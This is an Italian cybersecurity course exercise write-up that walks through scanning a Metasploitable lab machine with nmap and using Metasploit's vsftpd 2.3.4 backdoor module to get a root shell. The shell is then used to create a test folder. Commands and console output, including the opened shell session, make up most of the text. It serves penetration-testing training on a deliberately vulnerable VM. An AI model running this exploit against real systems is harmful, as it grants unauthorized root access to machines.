

## Traccia:

Partendo dall'esercizio visto nella lezione di oggi, vi chiediamo di completare una sessione di hacking sulla macchina Metasploitable, sul servizio «vsftpd» (lo stesso visto in lezione teorica).

L'unica differenza, sarà l'indirizzo della vostra macchina Metasploitable.

Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando `mkdir` nella directory di root (/). Chiamate la cartella `test_metasploit`.

Nell'esercizio odierno andremo a sfruttare uno degli **exploit** presenti su metasploitable. In informatica gli **exploit** sono programmi specializzati che sfruttano una vulnerabilità presente in un software o in un dispositivo hardware per compiere attività e operazioni non autorizzate sulle macchine esposte. Per farlo utilizzeremo il software **Metasploit** che è un framework open-source usato per il penetration testing, lo sviluppo di exploit e ne fornisce una vasta gamma.

- Una volta a conoscenza dell'indirizzo ip del target, andiamo ad eseguire una scansione con `nmap` per vedere quali porte siano aperte e quali protocolli (e relative versioni) vi girino sopra.

```
(root@kali)-[/home/kali]
# nmap -sV 192.168.1.30
Starting Nmap 7.92 ( https://nmap.org ) at 2024-01-22 15:10 CET
Nmap scan report for 192.168.1.30
Host is up (0.0010s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 1A:44:A4:FE:11:BB (Unknown)
```

- Nel nostro caso prenderemo in esame il protocollo ftp sulla porta 21 con la versione 2.3.4
- A questo punto avvieremo il programma metasploit da un terminale di Kali con il comando *msfconsole*

```
(root@kali)-[/home/kali]
# msfconsole
```

- Successivamente tramite il comando *search* andremo a cercare gli eventuali exploit che possono tornarci utili con questa versione del protocollo ftp

```
msf6 > sarch vsftpd
[-] Unknown command: sarch
msf6 > search vsftpd
Matching Modules
=====
#  Name
-  -
0  exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Com
and Execution
```

- Una volta individuato quello che ci necessita (per avere una certezza dovremmo testarli tutti, a eccezione di quelli che riguardo OS/versioni differenti dalla nostra) andremo a selezionarlo con il comando *use* seguito dal numero identificativo del nostro exploit.

```
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

- A questo punto dovremmo inserire un *payload*, che è un insieme di istruzioni o codice che viene eseguito da un software dannoso o da un exploit dopo che questo ha sfruttato con successo una vulnerabilità del sistema. Se non ne inseriamo uno noi, il programma metasploit ci suggerisce automaticamente quello che ritiene più adeguato. Possiamo anche effettuare una ricerca all'interno del programma per visualizzarne di alternativi a quello proposto in automatico (ma nel nostro caso ne risulta solo uno).
- Con il comando *show options* andiamo a vedere quali campi sono necessari e quali no per eseguire il payload. In questo caso il campo *rhosts* (indirizzo ip macchina target) è richiesto ed andiamo ad inserirlo con il comando *set rhosts*. Successivamente utilizziamo ancora *show options* per verificare che le modifiche siano state recepite.

```
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.1.30     yes       The target host(s), see https://github.com/rapid7/metasploit-frame
  RPORT     21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.1.30     yes       The target host(s), see https://github.com/rapid7/metasploit-frame
  LPORT     21               yes       The target port (TCP)

Exploit target:

  Id  Name
  --  -
  0    Automatic
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.30
rhosts => 192.168.1.30
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.1.30     yes       The target host(s), see https://github.com/rapid7/metasploit-frame
  RPORT     21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.1.30     yes       The target host(s), see https://github.com/rapid7/metasploit-frame
  LPORT     21               yes       The target port (TCP)

Exploit target:

  Id  Name
  --  -
  0    Automatic
```

- Una volta verificato utilizziamo il comando *exploit* per lanciare il nostro attacco, se andrà a buon fine il programma ce lo comunicherà
- Per verificare che sia andato effettivamente a segno, possiamo utilizzare il comando *ifconfig* che dovrebbe restituirci come parametri di configurazione network quelli della macchina target

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.30:21 - The port used by the backdoor bind listener is already open
[*] 192.168.1.30:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.118:35607 → 192.168.1.30:6200 ) at 2024-01-22 15:19:15 +0100

ifconfig
eth0:
  Link encap:Ethernet HWaddr 1a:44:a4:fe:11:bb
  inet addr:192.168.1.30 Bcast:192.168.1.255 Mask:255.255.255.0
  inet6 addr: fe80::1a:44:a4:fe:11:bb/64 Scope:Link
  UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
  RX packets:11682 errors:0 dropped:0 overruns:0 frame:0
  TX packets:2153 errors:0 dropped:0 overruns:0 carrier:0
  collisions:0 txqueuelen:1000
  RX bytes:777150 (758.9 KB) TX bytes:187621 (183.2 KB)
  Base address:0xc000 Memory:febc0000-febe0000

lo:
  Link encap:Local Loopback
  inet addr:127.0.0.1 Mask:255.0.0.0
  inet6 addr: ::1/128 Scope:Host
  UP LOOPBACK RUNNING MTU:16436 Metric:1
  RX packets:869 errors:0 dropped:0 overruns:0 frame:0
  TX packets:869 errors:0 dropped:0 overruns:0 carrier:0
  collisions:0 txqueuelen:0
  RX bytes:383837 (374.8 KB) TX bytes:383837 (374.8 KB)
```

- Una volta fatto questo abbiamo il controllo sulla macchina da attaccare e con il comando `sudo mkdir /test_metasploit` andiamo a creare la cartella test per l'esercizio odierno

```

sudo mkdir /test_metasploit
sudo reboot

```

21/tcp	open	ftp	vsftpd 2.3.4
22/tcp	open	ssh	OpenSSH 4.7p1 Debian
23/tcp	open	telnet	Linux telnetd
25/tcp	open	smtp	Postfix smtpd

  

drwxr-xr-x	94	root	root	4096	2024-01-22	08:47	etc
drwxr-xr-x	6	root	root	4096	2010-04-16	02:16	home
drwxr-xr-x	2	root	root	4096	2010-03-16	18:57	initrd
drwxrwxrwx	1	root	root	32	2010-04-28	16:26	initrd.img -> boot/initrd.img-2
6.24-16-server							
drwxr-xr-x	13	root	root	4096	2012-05-13	23:35	lib
drwx-----	2	root	root	16384	2010-03-16	18:55	lost+found
drwxr-xr-x	4	root	root	4096	2010-03-16	18:55	media
drwxr-xr-x	3	root	root	4096	2010-04-28	16:16	mnt
-rw-----	1	root	root	28172	2024-01-22	06:05	nohup.out
drwxr-xr-x	2	root	root	4096	2010-03-16	18:57	opt
lr-xr-xr-x	116	root	root	0	2024-01-22	06:04	proc
drwxr-xr-x	13	root	root	4096	2024-01-22	06:05	root
drwxr-xr-x	2	root	root	4096	2012-05-13	21:54	sbin
drwxr-xr-x	2	root	root	4096	2010-03-16	18:57	srv
drwxr-xr-x	2	root	root	4096	2024-01-22	09:12	test_metasploit
drwxr-xr-x	12	root	root	4096	2010-04-28	00:06	usr
drwxr-xr-x	14	root	root	4096	2010-03-17	10:08	var
drwxrwxrwx	1	root	root	29	2010-04-28	16:21	vmlinuz -> boot/vmlinuz-2.6.24-
6-server							